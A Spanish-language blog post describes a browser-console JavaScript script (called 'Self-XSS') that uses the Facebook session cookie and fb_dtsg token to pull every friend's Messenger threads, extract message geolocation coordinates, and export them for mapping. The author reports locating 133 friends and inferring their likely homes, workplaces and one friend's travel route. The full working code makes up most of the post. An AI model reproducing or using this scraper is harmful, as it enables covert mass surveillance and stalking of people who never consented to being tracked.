Geolocalizando amigos gracias a facebook messenger

Hace una semana vi una petición bastante curiosa en facebook: Rastrear el lugar desde donde escriben un mensaje
De antemano sé que es posible ya que muchas veces he visto cómo en algunos mensajes informa que ha sido “enviado desde …”, sin embargo solo es posible cuando dejan activo la opción de compartir la ubicación, que por cierto está activado por defecto (a fb le sirve cada dato). Es decir, para usuarios cuya privacidad es un tema de cuidado, quizás desactivaron el “servicio” de ubicación y no la revelan con cada mensaje que escriben.

No solo me compartió su WhatsApp, también su dirección }:)
Para saber la ubicación de un usuario en particular es fácil localizarlo si vemos en el chat que compartió ese dato, se puede ver abrir su ubicación (en mapa) desde el navegador o desde la aplicación móvil. Pero la pregunta que me siguió fue ¿cuántos amigos comparten su ubicación? trabajo que tardaría mucho de hacer manualmente si vamos a analizar más de 10 conversaciones.
El selfxss es muy usado para manipular cuentas de fb
La solución que se me ocurrió fue aprovecharme de un Self-XSS!, es decir, voy a usar un código en JavaScript que manipulará el navegador y efectuará acciones en mi nombre, para automatizar las acciones manuales, en este caso lo que haré es consultar los amigos, abrir las conversaciones y buscar si tienen coordenadas asociadas a los mensajes.

Este proceso lo logro pegando el siguiente código en la consola del navegador:

var fbid = document.cookie.match(document.cookie.match(/c_user=(d+)/)[1]);;
var udtsg = document.getElementsByName('fb_dtsg')[0].value;
var friendsLocations = "{ "
function addF(f) {friendsLocations += f;}
function printFL(){console.log(friendsLocations.slice(0,-1)+"}");}
function toBulk(){
  var data = JSON.parse(friendsLocations);
  console.log("Analysing "+size(data)+" friend's data");
  bulk = "";abulk=""; nf=0;
  for (friend in data){
    if (size(data[friend]["coordinates"])>0){
      for (fplace in data[friend]["coordinates"]){
       //bulk += data[friend]["coordinates"][fplace]+" {"+data[friend]["name"]+" - "+fplace+"}n";
       abulk = data[friend]["coordinates"][fplace]+" {"+data[friend]["name"]+" - "+fplace+"}n";
      }
     bulk += abulk;
     nf++;
    }
  }
  console.log(""+nf+" friends geolocated. http://www.mapcustomizer.com/ -> Bulk creation");
  console.log(bulk);
}
function sleep() {
    var start = new Date().getTime();
    for (var i = 0; i < 1e7; i++) {
        if ((new Date().getTime() - start) > 2000){
          break;
        }
    }
}
function size(obj) {
    var s = 0, key;
    for (key in obj) {
        if (obj.hasOwnProperty(key)) s++;
    }
    return s;
}
function locateMsg(msginfo){
  coord = "{ ";
  msg = msginfo["payload"]["actions"]
  for (var i = 0; i < msg.length; i++) { 
     if (msg[i]["coordinates"] != null)
      coord += '"'+msg[i]["timestamp_datetime"]+'":"'+msg[i]["coordinates"]["latitude"]+" "+msg[i]["coordinates"]["longitude"]+'",';
  }
  return coord.slice(0,-1)+"}"
}
function parsemsg(targetuser,targetName) {
        function serialize(obj) {
          var str = [ "messages[user_ids]["+targetuser+"][offset]=0","messages[user_ids]["+targetuser+"][limit]=21"];
          for(var p in obj)
             str.push(p + "=" + encodeURIComponent(obj[p]));
          return str.join("&");
        }
        var d = new Date();
        var data = {
           "client":"web_messenger",
           "__user":fbid,
           "__a":1,
           "__req":"1r",
           "ttstamp":""+ (new Date().getTime()),
           "fb_dtsg": ""+udtsg
        };
        var req = serialize(data);
        var xmlhttp = new XMLHttpRequest();
        xmlhttp.open('POST', '/ajax/mercury/thread_info.php');
        xmlhttp.onreadystatechange = function() {
          if (xmlhttp.readyState == 4) {
            var resp = xmlhttp.responseText.slice(9);
            var msginfo = JSON.parse(resp.replace(/(rn|n|r)/gm,""));
            addF( '"'+targetuser+'":{"name":"'+targetName+'","coordinates":'+locateMsg(msginfo)+'},');
          }
         }
        xmlhttp.send(req);
}
function buddy(callback) {
    var xhr = new XMLHttpRequest();
    xhr.open("GET", "https://www.facebook.com/ajax/chat/user_info_all.php?__user="+fbid+"&__a=1&viewer="+fbid+"", true);
    xhr.onreadystatechange = function() {
      if (xhr.readyState == 4) {
        var resp = JSON.parse(xhr.responseText.slice(9));
        callback(resp.payload);
      }
    };
    xhr.send();
}
function locateAll() {
    pos = 1;
    buddy(function(buddy_list) {
        buddy_num = size(buddy_list);
        console.log("Friends: "+ buddy_num);
        console.log("It will take "+ ( buddy_num*2)+" seconds");
        for (var id in buddy_list) {
           //console.log(buddy_list[id].name);
           parsemsg(id, buddy_list[id].name);
            if (pos % Math.floor(buddy_num/100) == 0) console.log(Math.floor(pos/(buddy_num/100)) + ' %');
            //if (pos == 15) break;
            pos++;
            sleep();
        }
    });
}
locateAll();

//toBulk(); 

El resultado será una serie de consultas automatizadas que serán analizadas y se irán guardando en el navegador, el proceso tarda dos segundos por cada amigo del que busca algún mensaje, esto es así porque de no configurarse una pausa razonable facebook bloquea algunas funciones por considerar un “abuso” que una herramienta ejecute acciones por uno.

Proceso automatizado
En mi caso, luego de hacer el primer proceso con 599 amigos hay que escribir en consola toBulk() para que muestre la información final. Resultó que el código analizó 526 conversaciones (con 73 amigos no he tenido conversaciones por ese medio), 338 coordenadas encontradas (analizando los últimos mensajes de cada conversación) y finalmente 133 amigos que me han compartido sus ubicaciones.
Resultado final, se muestra con toBulk()

En mi estadística personal queda que el 25% de mis contactos tienen la geolocalización activa, esto me permitió ubicarlos en el mapa. Precisamente el resultado de la función toBulk() es para facilitar el uso del sitio http://www.mapcustomizer.com/ en el cual puedo crear un mapa sobre mis amigos.

Muestra del mapa que generé
Finalmente al analizar la información ya en un mapa se pueden sacar otras conclusiones. Por ejemplo gracias a la geolocalización inversa es posible saber que un amigo probablemente estuvo en la bolera al inicio del año, en otros casos es posible corelacionar la fecha y hora con la ubicación para estimar por geolocalización inversa cuál es la calle donde vive o su lugar de trabajo.
No estaba jugando, por lahora trabaja en la zona ;)
Una de las cosas que esperaba era poder ubicar a una gran cantidad de amigos de mi ciudad, así que me alegró ver la distribución geográfica de ellos.
Solo agrego a fb a quien conozca en persona
Finalmente, en un caso particular, uno de mis amigos se encontraba de viaje en Brasil y uno de esos días de viaje sostuvimos una conversación, el resultado de analizar este caso particular (con una leve variación del código) fue un mapa con la posible ruta que estaba siguiendo mientras atravesaba Brasília.

 

Publicó algunas fotos que confirmaban su paso por dos de esos puntos
Y tú dejas que tus amigos te localicen?

Published by

One thought on “Geolocalizando amigos gracias a facebook messenger

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *